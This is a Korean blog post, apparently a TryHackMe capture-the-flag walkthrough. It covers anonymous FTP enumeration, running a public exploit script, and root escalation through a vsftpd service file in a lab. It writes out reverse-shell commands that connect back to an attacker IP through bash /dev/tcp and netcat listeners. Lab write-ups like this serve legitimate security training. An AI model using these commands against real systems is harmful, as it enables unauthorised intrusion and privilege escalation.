Scanning
FTP Enumeration
FTP 부터 살펴보자
anonymous 접근에 대한 제한이 걸려있지 않기 때문에 anonymous 계정으로 접속해 힌트가 될만한 파일이 있는지 살폈을 때 파일 이름이 '-'인 파일이 있다.
drac이란 유저가 john에게 보내는 메시지이고 john의 패스워드가 Reset 되었으니 default password로 로그인하라는 내용이다. 잘 기억해두자.
HTTP Enumeration
Exploit
해당 exploit source를 읽고 사용하려고 했을 때 왜인지 다음과 같은 에러가 일어난다.
# tty1
$ python 49705.py http://10.10.189.209:62337/ john password 10.9.26.67 4444 linux
# tty2
$ echo 'bash -c "bash -i >/dev/tcp/10.9.26.67/4445 0>&1 2>&1"' | nc -lnvp 4444
# tty3
$ nc -lnvp 4445
Stabilize Shell With USER Escalate
Exploit 모듈로 Reverse Shell을 얻었을 경우 Terminal에서 Command를 수행하기 쉽지 않다. 아래와 같이 Shell을 안정화시키자.
$ /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')"
$ CTRL ^Z
$ stty raw -echo && fg
$ export TERM=xterm
이후 아래 경로에서 drac의 directory에서 .bash_history에 내용을 읽어보면 password가 나온다.
이후 drac으로 su를 하자.
Root Priviliege Escalate
drac은 vsftpd 서비스를 root 권한으로 재시작할 수 있다. vsftpd 서비스가 재시작할 때 참조하는 서비스 파일을 이용해 root 권한을 얻어보자. 서비스 정보를 얻어보자.
service 파일의 경로를 얻었으니 서비스 파일을 아래와 같이 수정하자.
서비스 파일을 수정했으니 밑에처럼 daemon-reload로 같이 해주고 터미널을 하나 더 열어 Reverse Shell을 하나 더 열어주고 서비스를 재시작하면 root 권한을 얻을 수 있다.
Reference
https://jasonturley.xyz/how-to-stabilize-a-reverse-shell/
https://gist.github.com/A1vinSmith/78786df7899a840ec43c5ddecb6a4740
'Pentest > TryHackMe' 카테고리의 다른 글
[TryHackMe] OverPass2 (0) | 2023.07.15 |
---|---|
[TryHackMe] Ninja Skills (0) | 2023.03.18 |
JPGChat : ServerSide Injection (0) | 2021.03.11 |
[Try Hack Me] : Chill Hack ( part.2 Root) (0) | 2020.12.12 |
[Try Hack Me] : Chill Hack ( part.1 USER Escalate) (0) | 2020.12.07 |